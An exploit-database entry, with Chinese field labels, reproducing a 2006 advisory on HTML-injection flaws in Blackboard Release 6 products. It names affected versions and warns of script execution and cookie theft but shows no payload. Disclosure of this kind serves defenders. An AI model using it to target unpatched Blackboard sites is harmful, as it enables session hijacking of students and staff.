标题: BlackBoard Products 6 - Multiple HTML Injection Vulnerabilities EDB-ID: 28324 CVE: 2006-4308 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/19308/info

Blackboard products are prone to multiple HTML-injection vulnerabilities because the software fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Blackboard Learning System (Release 6) and Blackboard Learning and Community Portal Suite (Release 6 build 6.2.3.23) are vulnerable; other version may also be affected.

Reports indicate this issue has been addressed in versions 7.0 and 7.1, but Symantec has not confirmed this.

UPDATE (June 14, 2007): Reports indicate that Blackboard Academic Suite - Vista 4 is also vulnerable.
